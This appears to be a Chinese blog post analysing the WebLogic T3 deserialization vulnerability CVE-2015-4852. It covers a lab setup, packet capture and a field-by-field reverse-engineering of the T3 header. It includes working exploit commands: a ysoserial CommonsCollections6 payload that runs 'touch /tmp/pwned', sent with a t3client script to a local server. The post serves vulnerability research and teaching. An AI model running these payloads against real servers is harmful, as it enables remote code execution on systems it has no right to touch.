前言
commons-collections
的反序列化利用链并发布了ysoserial
工具[1]。9个月后,@breenmachine对众多知名Java中间件的利用文章[2]使Java反序列化漏洞变得广为人知,Weblogic中首当其冲的就是大家多少都有点耳熟的T3协议反序列化。本篇从CVE-2015-4852入手了解T3协议的构造,作为后续T3反序列化漏洞学习和利用的基础。环境搭建与补丁定位
issues/8
改一下Dockerfile,另外就是根据个人需要做适当调整了,比如Weblogic开启的远程调试端口默认为8453(对应IDEA默认的5005)、调整JDK版本等等。CVE-2015-4852
/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/stopWebLogic.sh
用到了T3协议去停掉Weblogic,在执行前挂上tcpdump -i any -w t3-stop.pcap
抓一下数据包。ac ed 00 05
的字节作为开头的标识(黑话管它叫做魔术字节),ysoserial
也正是通过原生序列化生成的payload,自然能简单粗暴地想到是不是直接替换就行了,那么要替换掉哪些部分呢?能看出先进行了第一次通信,请求和响应都是可读的ASCII字符,后续的的请求中似乎也没有用到响应的内容。A + Serial + B + Serial + ...
改成A + Payload
。ysoserial
生成的CC链就需要看目标环境有没有相应依赖,快速但不准确的方法是直接找有没有Jar包。# find /u01/ -name "*commons*collections*.jar"
/u01/app/oracle/middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar
-
• 为了更精确定位则可以采用META-INF等信息判断版本、运行时相应上下文能否调到关键类等等方法。
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" > /tmp/poc.ser
python3 t3client.py 127.0.0.1 7001 /tmp/poc.ser
# ls -al /tmp/ | grep 'pwned'
-rw-r----- 1 root root 0 Feb 17 17:18 pwned
逆向T3协议头
connectReplyOK:160, Login (weblogic.socket)
readBootstrapMessage:189, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:323, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
dispatch:185, MuxableSocketDiscriminator (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
MuxableSocketT3#dispatch
方法根据bootstrapped
来判断连接是否经readBootstrapMessage
方法初始化过,解析提取的就是上文首次通信时发给服务端的数据。(这是10.3.6.0的位置,12.2.1.3在com.oracle.weblogic.rjvm.jar
中weblogic/rjvm/t3/MuxableSocketT3#readIncomingConnectionBootstrapMessage
)。
MuxableSocketDiscriminator#dispatch
方法根据协议名将请求分配给HTTP、T3等不同处理类,以此实现端口复用。ObjectInputStream#readObject
并得到第二次请求时的调用栈:readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
MsgAbbrevInputStream#init
调用各个方法解析。先看super.init(chunk, 4)
,最终前4字节被skip掉:chunkLength
,表示包括自己在内的这段Header
的字节长度,可以偷懒直接赋0。readHeader
方法中存在大量标识数据:cmd
字节应该是指代通信类型,可以从weblogic/rjvm/JVMMessage
类中的变量名看出: static final byte CMD_UNDEFINED = 0;
static final byte CMD_IDENTIFY_REQUEST = 1;
static final byte CMD_IDENTIFY_RESPONSE = 2;
static final byte CMD_REQUEST_CLOSE = 11;
static final byte CMD_IDENTIFY_REQUEST_CSHARP = 12;
static final byte CMD_IDENTIFY_RESPONSE_CSHARP = 13;
static final byte CMD_NO_ROUTE_IDENTIFY_REQUEST = 9;
static final byte CMD_TRANSLATED_IDENTIFY_RESPONSE = 10;
static final byte CMD_PEER_GONE = 3;
static final byte CMD_ONE_WAY = 4;
static final byte CMD_REQUEST = 5;
static final byte CMD_RESPONSE = 6;
static final byte CMD_ERROR_RESPONSE = 7;
static final byte CMD_INTERNAL = 8;
QOS
字节的含义,类初始化时被赋为十进制101
,所以EXP同样用了这个值。flags
字节从后面getFlag
方法可以看出用来从二进制位控制hasJVMIDs
、hasTX
、hasTrace
(类比Linux的rwx权限与777)。responseId
字节用于标识通信顺序、invokeableId
字节用于标识被调用的方法,目前用不到置为初始值-1。abbrevOffset
字节顾名思义是abbrev的偏移长度,表示Header
结尾处 相距 后面字节流MsgAbbrevs
部分的距离,在init
方法中会被skip掉,EXP中直接赋0表示没有额外的数据需要跳过。Header
部分继续进入到readMsgAbbrevs
方法中,会调用InboundMsgAbbrev#read
方法:length
就是EXP中的countLength
,可以看到这个值对应for循环的次数。length2
就是EXP中的capacityLength
,bubblingAbbrever.getCapacity()
拿到的就是第一次请求中的AS
,要设置得比它大才会进入readObeject
分支。readObject
中,msgAbbrevInputStream.read()
读到的字节是十进制0时进入无参readObject
。但ServerChannelInputStream
没有重写无参readObject
,所以最终进到父类ObjectInputStream
的readObject
衔接上CC链。参考链接
-
[1] http://frohoff.github.io/appseccali-marshalling-pickles/
-
[2] https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#weblogic
-
[3] https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
-
[4] https://updates.oracle.com/Orion/AdvancedSearch/process_form
-
[5] https://www.oracle.com/security-alerts/public-vuln-to-advisory-mapping.html
-
[6] https://github.com/QAX-A-Team/WeblogicEnvironment
-
[7] https://hosch3n.github.io/2022/02/15/%E6%94%BB%E5%87%BBJavaRMI%E6%A6%82%E8%BF%B0/#%E6%94%BB%E5%87%BBJRMP%E5%AE%A2%E6%88%B7%E7%AB%AF
-
原文始发于微信公众号(默安逐日实验室):Weblogic安全漫谈(一)